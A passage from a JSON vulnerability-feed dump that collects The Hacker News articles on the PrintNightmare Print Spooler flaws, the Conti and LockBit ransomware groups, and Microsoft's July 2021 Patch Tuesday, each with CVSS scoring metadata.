QakBot for initial access and lateral movement, and taking advantage of the PrintNightmare vulnerability ([CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>)) to conduct privileged file operations.\n\nWhat's more, the LockBit ransomware gang last week [announced](<https://twitter.com/vxunderground/status/1541156954214727685>) the release of LockBit 3.0 with the message \"Make Ransomware Great Again!,\" in addition to launching their own Bug Bounty program, offering rewards ranging between $1,000 and $1 million for identifying security flaws and \"brilliant ideas\" to improve its software.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjwyY9trUR2Z6AyEmJ7Zm0vLXiYawK0UpJysKcAGEK4eyTyY-cibr3Vgf7ATbqzCSSUqeTQTR_TQkAtJ5XPpqiw8JZnWQg1KTo0ktefqdmaqc8XFgVp27DzMej76ut1FMMJ8h0r2U-UR72FNxbM4_q9ph1cAzMroG_05T9as1lDjAVK34y53Er0koFQ/s728-e100/bug.jpg>)\n\n\"The release of LockBit 3.0 with the introduction of a bug bounty program is a formal invitation to cybercriminals to help assist the group in its quest to remain at the top,\" Satnam Narang, senior staff research engineer at Tenable, said in a statement shared with The Hacker News.\n\n\"A key focus of the bug bounty program are defensive measures: Preventing security researchers and law enforcement from finding bugs in its leak sites or ransomware, identifying ways that members including the affiliate program boss could be doxed, as well as finding bugs within the messaging software used by the group for internal communications and the Tor network itself.\"\n\n\"The threat of being doxed or identified signals that law enforcement efforts are clearly a great concern for groups like LockBit. Finally, the group is planning to offer Zcash as a payment option, which is significant, as Zcash is harder to trace than Bitcoin, making it harder for researchers to keep tabs on the group's activity.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-05T07:06:00", "type": "thn", "title": "Researchers Share Techniques to Uncover Anonymized Ransomware Sites on Dark Web", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-07-06T06:06:49", "id": "THN:849B821D3503018DA38FAFFBC34DAEBB", "href": "https://thehackernews.com/2022/07/researchers-share-techniques-to-uncover.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:05", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEguJG5dD1Vh67fJlg0O-HXucpsF2Y-eVW6kua8F3Er_7OwG5WZpZAqvZHKbXJboPvuTyfrTXpc260OZ87-4ehJm-_qY8JOnLJxhWok-es74ZTW3O7ua3WuueglfYtH7632jDmh5DfPftDD998FED2xruJFMtTPwe_eI7umOKXrdazu4WRTC-OnHg7ND>)\n\nThe clearnet and dark web payment portals operated by the [Conti](<https://thehackernews.com/2021/05/fbi-warns-conti-ransomware-hit-16-us.html>) ransomware group have gone down in what appears to be an attempt to shift to new infrastructure after details about the gang's inner workings and its members were made public.\n\nAccording to [MalwareHunterTeam](<https://twitter.com/malwrhunterteam/status/1461450607311605766>), \"while both the clearweb and Tor domains of the leak site of the Conti ransomware gang is online and working, both their clearweb and Tor domains for the payment site (which is obviously more important than the leak) is down.\"\n\nIt's not clear what prompted the shutdown, but the development comes as Swiss cybersecurity firm PRODAFT [offered](<https://www.prodaft.com/resource/detail/conti-ransomware-group-depth-analysis>) an unprecedented look into the group's ransomware-as-a-service (RaaS) model, wherein the developers sell or lease their ransomware technology to affiliates hired from darknet forums, who then carry out attacks on their behalf while also netting about 70% of each ransom payment extorted from the victims.\n\nThe result? Three members of the Conti team have been identified so far, each playing the roles of admin (\"Tokyo\"), assistant (\"it_work_support@xmpp[.]jp\"), and recruiter (\"IT_Work\") to attract new affiliates into their network.\n\nWhile ransomware attacks work by encrypting the victims' sensitive information and rendering it inaccessible, threat actors have increasingly latched on to a two-pronged strategy called double extortion to demand a ransom payment for decrypting the data and threaten to publicly publish the stolen information if the payment is not received within a specific deadline.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgOlxdMar0Fk9C_1oq4rsZqCsRuaWDFa_UwPznj1p4XnxV22g7c-3gidrF7ZVnxd0TVDTn8qhzr16V265fVSa3d-p7SOODkUMikIREYKzV6MyCaPI1KWzNgYj3TduhqzgszRUX6zZkCytED5c4K-icaEZjwN4cvwnz1D0zehnwVGdYAwJXLo8uaJijX>)\n\n\"Conti customers \u2013 affiliate threat actors \u2013 use [a digital] management panel to create new ransomware samples, manage their victims, and collect data on their attacks,\" noted the researchers, detailing the syndicate's attack kill chain leveraging PrintNightmare ([CVE-2021-1675](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>), [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>), and [CVE-2021-36958](<https://thehackernews.com/2021/08/microsoft-security-bulletin-warns-of.html>)) and FortiGate ([CVE-2018-13374](<https://nvd.nist.gov/vuln/detail/CVE-2018-13374>) and [CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>)) vulnerabilities to compromise unpatched systems.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEh5pQ7nISIe-f2lC7T7iJVkfmQ4L9uCXsO1rxdPo0YzkwJ4-Q15UkgDuRGhckTpdbAYrR1h3kYePBPrRNFWefg6MtaX_jlMsgcojwvu-zrrtvaw0hKxGJkD-dTl06UiZOX1R5kuboLkxyuot8hDBrgxX1fH8yoVdsv0e1f0rvziG6_Mw-IWMJUBBgQg>)\n\nEmerging on the cybercrime landscape in October 2019, Conti is believed to be the work of a Russia-based threat group called [Wizard Spider](<https://malpedia.caad.fkie.fraunhofer.de/actor/wizard_spider>), which is also the operator of the infamous [TrickBot](<https://thehackernews.com/2021/11/trickbot-operators-partner-with-shatak.html>) banking malware. Since then, at least 567 different companies have had their business-critical data exposed on the victim shaming site, with the ransomware cartel receiving over 500 bitcoin ($25.5 million) in payments since July 2021.\n\nWhat's more, an analysis of ransomware samples and the bitcoin wallet addresses utilized for receiving the payments has revealed a connection between Conti and Ryuk, with both families heavily banking on TrickBot, Emotet, and BazarLoader for actually [delivering the file-encrypting payloads](<https://thehackernews.com/2021/06/ransomware-attackers-partnering-with.html>) onto victim's networks via email phishing and other social engineering schemes.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgySne4_su9eRCap6MABBaa8kbBo2rWbr8gzBUOmkmLhbonXU-etPl5K4VuXHkduN2lH7fMHbQ7q8Wq0HsqBnUz9P3JWJBqtztJQAEPOJWnoAVuecd8Zyblq-TOPPfmILc40tmzfs9VX0h_utrR3fydA8JQm8EO0PO7BIKlRaSIBA8_I717s_bvckQ5>)\n\nPRODAFT said it was also able to gain access to the group's recovery service and an admin management panel hosted as a Tor hidden service on an Onion domain, revealing extensive details of a clearnet website called \"contirecovery[.]ws\" that contains instructions for purchasing decryption keys from the affiliates. Interestingly, an investigation into Conti's ransomware negotiation process [published](<https://team-cymru.com/blog/2021/10/05/collaborative-research-on-the-conti-ransomware-group/>) by Team Cymru last month highlighted a similar open web URL named \"contirecovery[.]info.\"\n\n\"In order to tackle the complex challenge of disrupting cybercriminal organizations, public and private forces need to work collaboratively with one another to better understand and mitigate the wider legal and commercial impact of the threat,\" the researchers said.\n\n**_Update:_** The Conti ransomware's payment [portals](<https://twitter.com/VK_Intel/status/1461810216241086467>) are back up and running, more than 24 hours after they were first taken down in response to a report that identified the real IP address of one of its recovery (aka payment) servers \u2014 217.12.204[.]135 \u2014 thereby effectively bolstering its security measures.\n\n\"Looks like Europeans have also decided to abandon their manners and go full-gansta simply trying to break our systems,\"the gang said in a statement posted on their blog, effectively confirming PRODAFT's findings, but characterizing the details as \"simply disinformation,\" and that \"the reported 25kk which we 'made since July' is straight-up BS - we've made around 300kk at least.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-19T06:50:00", "type": "thn", "title": "Experts Expose Secrets of Conti Ransomware Group That Made 25 Million from Victims", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13374", "CVE-2018-13379", "CVE-2021-1675", "CVE-2021-34527", "CVE-2021-36958"], "modified": "2021-11-20T15:13:21", "id": "THN:F35E41E26872B23A7F620C6D8F7E2334", "href": "https://thehackernews.com/2021/11/experts-expose-secrets-of-conti.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:20", "description": "[](<https://thehackernews.com/images/-dWO_rqbdIfE/YPENEeXU5vI/AAAAAAAADNg/aAsoS9_8txQ842LEOAjpzJcvpkm6tro9wCLcBGAsYHQ/s0/Windows-Print-Spooler-Vulnerability.jpg>)\n\nMicrosoft on Thursday shared fresh guidance on yet another vulnerability affecting the Windows Print Spooler service, stating that it's working to address it in an upcoming security update.\n\nTracked as [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) (CVSS score: 7.8), the issue concerns a local privilege escalation flaw that could be abused to perform unauthorized actions on the system. The company credited security researcher Jacob Baines for discovering and reporting the bug.\n\n\"An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations. An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges,\" the Windows maker said in its advisory. \"An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\"\n\nHowever, it's worth pointing out that successful exploitation of the vulnerability requires the attacker to have the ability to execute code on a victim system. In other words, this vulnerability can only be exploited locally to gain elevated privileges on a device.\n\n[](<https://thehackernews.com/images/-KUjZieTgFsk/YPENj7mkDHI/AAAAAAAADNo/7YO-HAzw4LQN5_eg5egoI8gP2YeP34pjwCLcBGAsYHQ/s0/hacking.jpg>)\n\nAs workarounds, Microsoft is recommending users to stop and disable the Print Spooler service to prevent malicious actors from exploiting the vulnerability.\n\nThe development comes days after the Redmond-based firm rolled out patches to address a critical shortcoming in the same component that it disclosed as being actively exploited to stage in-the-wild attacks, making it the third printer-related flaw to come to light in recent weeks.\n\nDubbed PrintNightmare ([CVE-2021-34527](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>)), the vulnerability stems from a missing permission check in the Print Spooler that enables the installation of malicious print drivers to achieve remote code execution or local privilege escalation on vulnerable systems.\n\nHowever, it later emerged that the out-of-band security update could be entirely bypassed under specific conditions to gain both local privilege escalation and remote code execution. Microsoft has since said the fixes are \"working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-16T04:40:00", "type": "thn", "title": "Microsoft Warns of New Unpatched Windows Print Spooler Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-34527"], "modified": "2021-07-17T11:53:08", "id": "THN:CF5E93184467C7B8F56A517CE724ABCF", "href": "https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:14", "description": "[](<https://thehackernews.com/images/-YB6xMmNkBp0/YRYuIvxMidI/AAAAAAAADhg/a2Ee5QkoQZw6JlnYhCIdg3Nk-HM2yu2wwCLcBGAsYHQ/s0/ransomware.jpg>)\n\nRansomware operators such as Magniber and Vice Society are actively exploiting vulnerabilities in Windows Print Spooler to compromise victims and spread laterally across a victim's network to deploy file-encrypting payloads on targeted systems.\n\n\"Multiple, distinct threat actors view this vulnerability as attractive to use during their attacks and may indicate that this vulnerability will continue to see more widespread adoption and incorporation by various adversaries moving forward,\" Cisco Talos [said](<https://blog.talosintelligence.com/2021/08/vice-society-ransomware-printnightmare.html>) in a report published Thursday, corroborating an [independent analysis](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) from CrowdStrike, which observed instances of Magniber ransomware infections targeting entities in South Korea.\n\nWhile Magniber ransomware was first spotted in late 2017 singling out victims in South Korea through malvertising campaigns, Vice Society is a new entrant that emerged on the ransomware landscape in mid-2021, primarily targeting public school districts and other educational institutions. The attacks are said to have taken place since at least July 13.\n\nSince June, a series of \"PrintNightmare\" issues affecting the Windows print spooler service has come to light that could enable remote code execution when the component performs privileged file operations -\n\n * [**CVE-2021-1675**](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on June 8)\n * [**CVE-2021-34527**](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on July 6-7)\n * [**CVE-2021-34481**](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10)\n * [**CVE-2021-36936**](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10) \n * [**CVE-2021-36947**](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10)\n * [**CVE-2021-34483**](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>) \\- Windows Print Spooler Elevation of Privilege Vulnerability (Patched on August 10)\n * [**CVE-2021-36958**](<https://thehackernews.com/2021/08/microsoft-security-bulletin-warns-of.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Unpatched)\n\nCrowdStrike noted it was able to successfully prevent attempts made by the Magniber ransomware gang at exploiting the PrintNightmare vulnerability.\n\nVice Society, on the other hand, leveraged a variety of techniques to conduct post-compromise discovery and reconnaissance prior to bypassing native Windows protections for credential theft and privilege escalation.\n\n[](<https://thehackernews.com/images/-JlsTWIHVgX4/YRYltMOGBKI/AAAAAAAADhQ/pzUFIcW6y0ABjOe3PuUQE5cPSnEOvGP9ACLcBGAsYHQ/s0/ransomware.jpg>)\n\nSpecifically, the attacker is believed to have used a malicious library associated with the PrintNightmare flaw (CVE-2021-34527) to pivot to multiple systems across the environment and extract credentials from the victim.\n\n\"Adversaries are constantly refining their approach to the ransomware attack lifecycle as they strive to operate more effectively, efficiently, and evasively,\" the researchers said. \"The use of the vulnerability known as PrintNightmare shows that adversaries are paying close attention and will quickly incorporate new tools that they find useful for various purposes during their attacks.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-13T08:29:00", "type": "thn", "title": "Ransomware Gangs Exploiting Windows Print Spooler Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34481", "CVE-2021-34483", "CVE-2021-34527", "CVE-2021-36936", "CVE-2021-36947", "CVE-2021-36958"], "modified": "2021-08-13T08:32:51", "id": "THN:6428957E9DED493169A2E63839F98667", "href": "https://thehackernews.com/2021/08/ransomware-gangs-exploiting-windows.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:54", "description": "[](<https://thehackernews.com/images/-hJTm9-cqglY/YNxU5_qFPTI/AAAAAAAADCE/M7b8MDQXSLEIfe1qnm26-N908L-atUbsQCLcBGAsYHQ/s0/windows-hacking.jpg>)\n\nA proof-of-concept (PoC) exploit related to a remote code execution vulnerability affecting Windows Print Spooler and patched by Microsoft earlier this month was briefly published online before being taken down.\n\nIdentified as [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), the security issue could grant remote attackers full control of vulnerable systems. [Print Spooler](<https://docs.microsoft.com/en-us/windows/win32/printdocs/print-spooler>) manages the printing process in Windows, including loading the appropriate printer drivers and scheduling the print job for printing, among others.\n\nPrint Spooler flaws are concerning, not least because of the wide attack surface, but also owing to the fact that it runs at the highest privilege level and is capable of dynamically loading third-party binaries.\n\nThe Windows maker addressed the vulnerability as part of its [Patch Tuesday](<https://thehackernews.com/2021/06/update-your-windows-computers-to-patch.html>) update on June 8, 2021. But almost two weeks later, Microsoft revised the flaw's impact from an elevation of privilege to remote code execution (RCE) as well as upgraded the severity level from Important to Critical.\n\n\"Either the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., tricking a legitimate user into opening a malicious document),\" Microsoft said in its advisory.\n\nThings took a turn when Chinese security firm QiAnXin earlier this week [disclosed](<https://twitter.com/RedDrip7/status/1409353110187757575>) it was able to find the \"right approaches\" to leverage the flaw, thereby demonstrating a successful exploitation to achieve RCE.\n\nAlthough the researchers refrained from sharing additional technical specifics, Hong Kong-based cybersecurity company Sangfor published what's an independent deep-dive of the same vulnerability to GitHub, along with a fully working PoC code, where it remained publicly accessible before it was taken offline a few hours later.\n\nSangfor codenamed the vulnerability \"PrintNightmare.\"\n\n\"We deleted the PoC of PrintNightmare. To mitigate this vulnerability, please update Windows to the latest version, or disable the Spooler service,\" [tweeted](<https://twitter.com/edwardzpeng/status/1409810304091889669>) Sangfor's Principal Security Researcher Zhiniang Peng. The findings are expected to be [presented](<https://www.blackhat.com/us-21/briefings/schedule/#diving-in-to-spooler-discovering-lpe-and-rce-vulnerabilities-in-windows-printer-23315>) at the Black Hat USA conference next month.\n\nWindows Print Spooler has long been a source of security vulnerabilities, with Microsoft fixing at least three issues \u2014 [CVE-2020-1048](<https://www.blackhat.com/us-20/briefings/schedule/index.html#a-decade-after-stuxnets-printer-vulnerability-printing-is-still-the-stairway-to-heaven-19685>), [CVE-2020-1300](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1300>), and [CVE-2020-1337](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1337>) \u2014 in the past year alone. Notably, a flaw in the service was also abused to gain remote access and propagate the [Stuxnet](<https://en.wikipedia.org/wiki/Stuxnet>) worm in 2010 targeting Iranian nuclear installations.\n\n_**Update **_**_\u2014_** There are now indications that the fix released by Microsoft for the critical remote code execution vulnerability in the Windows Print spooler service in June does not completely remediate the root cause of the bug, according to the CERT Coordination Center, raising the possibility that it's a zero-day flaw in need of a patch.\n\n\"While Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does not address the public exploits that also identify as CVE-2021-1675,\" CERT/CC's Will Dormann [said](<https://twitter.com/wdormann/status/1410198834970599425>) in a [vulnerability note](<https://kb.cert.org/vuls/id/383432>) published Wednesday.\n\nIt's worth noting that the successful exploitation of CVE-2021-1675 could open the door to complete system takeover by remote adversaries. We have reached out to Microsoft for comment, and we will update the story when we hear back.\n\nIn light of the latest disclosure, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) is [recommending](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>) that administrators \"disable the Windows Print spooler service in Domain Controllers and systems that do not print.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-30T11:28:00", "type": "thn", "title": "Researchers Leak PoC Exploit for a Critical Windows RCE Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1048", "CVE-2020-1300", "CVE-2020-1337", "CVE-2021-1675"], "modified": "2021-07-02T04:15:41", "id": "THN:EDD5C9F076596EB9D13D36268BDBFAD1", "href": "https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:21", "description": "[](<https://thehackernews.com/images/-aVEUxlp9r9o/YO5q47NA_bI/AAAAAAAADL4/tkntZNY2smU5FPaAkTU1qBYUg8VPhp8NACLcBGAsYHQ/s0/windows-update-download.jpg>)\n\nMicrosoft rolled out [Patch Tuesday updates](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Jul>) for the month of July with fixes for a total of 117 security vulnerabilities, including nine zero-day flaws, of which four are said to be under active attacks in the wild, potentially enabling an adversary to take control of affected systems. \n\nOf the 117 issues, 13 are rated Critical, 103 are rated Important, and one is rated as Moderate in severity, with six of these bugs publicly known at the time of release. \n\nThe updates span across several of Microsoft's products, including Windows, Bing, Dynamics, Exchange Server, Office, Scripting Engine, Windows DNS, and Visual Studio Code. July also marks a dramatic jump in the volume of vulnerabilities, surpassing the number Microsoft collectively addressed as part of its updates in [May](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) (55) and [June](<https://thehackernews.com/2021/06/update-your-windows-computers-to-patch.html>) (50).\n\nChief among the security flaws actively exploited are as follows \u2014\n\n * **CVE-2021-34527** (CVSS score: 8.8) - Windows Print Spooler Remote Code Execution Vulnerability (publicly disclosed as \"[PrintNightmare](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>)\")\n * **CVE-2021-31979** (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability\n * **CVE-2021-33771** (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability\n * **CVE-2021-34448** (CVSS score: 6.8) - Scripting Engine Memory Corruption Vulnerability\n\nMicrosoft also stressed the high attack complexity of CVE-2021-34448, specifically stating that the attacks hinge on the possibility of luring an unsuspecting user into clicking on a link that leads to a malicious website hosted by the adversary and contains a specially-crafted file that's engineered to trigger the vulnerability.\n\nThe other five publicly disclosed, but not exploited, zero-day vulnerabilities are listed below \u2014\n\n * **CVE-2021-34473** (CVSS score: 9.1) - Microsoft Exchange Server Remote Code Execution Vulnerability\n * **CVE-2021-34523** (CVSS score: 9.0) - Microsoft Exchange Server Elevation of Privilege Vulnerability\n * **CVE-2021-33781** (CVSS score: 8.1) - Active Directory Security Feature Bypass Vulnerability\n * **CVE-2021-33779** (CVSS score: 8.1) - Windows ADFS Security Feature Bypass Vulnerability\n * **CVE-2021-34492** (CVSS score: 8.1) - Windows Certificate Spoofing Vulnerability\n\n\"This Patch Tuesday comes just days after out-of-band updates were released to address PrintNightmare \u2014 the critical flaw in the Windows Print Spooler service that was found in all versions of Windows,\" Bharat Jogi, senior manager of vulnerability and threat research at Qualys, told The Hacker News.\n\n\"While MSFT has released updates to fix the vulnerability, users must still ensure that necessary configurations are set up correctly. Systems with misconfigurations will continue to be at risk of exploitation, even after the latest patch has been applied. PrintNightmare was a highly serious issue that further underscores the importance of marrying detection and remediation,\" Jogi added.\n\nThe PrintNightmare vulnerability has also prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to [release an emergency directive](<https://us-cert.cisa.gov/ncas/current-activity/2021/07/13/cisa-issues-emergency-directive-microsoft-windows-print-spooler>), urging federal departments and agencies to apply the latest security updates immediately and disable the print spooler service on servers on Microsoft Active Directory Domain Controllers.\n\nAdditionally, Microsoft also rectified a security bypass vulnerability in Windows Hello biometrics-based authentication solution ([CVE-2021-34466](<https://www.cyberark.com/resources/threat-research-blog/bypassing-windows-hello-without-masks-or-plastic-surgery>), CVSS score: 5.7) that could permit an adversary to spoof a target's face and get around the login screen.\n\nOther critical flaws remediated by Microsoft include remote code execution vulnerabilities affecting Windows DNS Server (CVE-2021-34494, CVSS score 8.8) and Windows Kernel (CVE-2021-34458), the latter of which is rated 9.9 on the CVSS severity scale.\n\n\"This issue allows a single root input/output virtualization (SR-IOV) device which is assigned to a guest to potentially interfere with its Peripheral Component Interface Express (PCIe) siblings which are attached to other guests or to the root,\" Microsoft noted in its advisory for CVE-2021-34458, adding Windows instances hosting virtual machines are vulnerable to this flaw.\n\nTo install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update or by selecting Check for Windows updates.\n\n### Software Patches From Other Vendors\n\nAlongside Microsoft, patches have also been released by a number of other vendors to address several vulnerabilities, including \u2014\n\n * [Adobe](<https://helpx.adobe.com/security.html/security/security-bulletin.ug.html>)\n * [Android](<https://source.android.com/security/bulletin/2021-07-01>)\n * [Apache Tomcat](<https://mail-archives.us.apache.org/mod_mbox/www-announce/202107.mbox/%3Cd050b202-b64e-bc6f-a630-2dd83202f23a%40apache.org%3E>)\n * [Cisco](<https://tools.cisco.com/security/center/publicationListing.x>)\n * [Citrix](<https://support.citrix.com/article/CTX319750>)\n * [Juniper 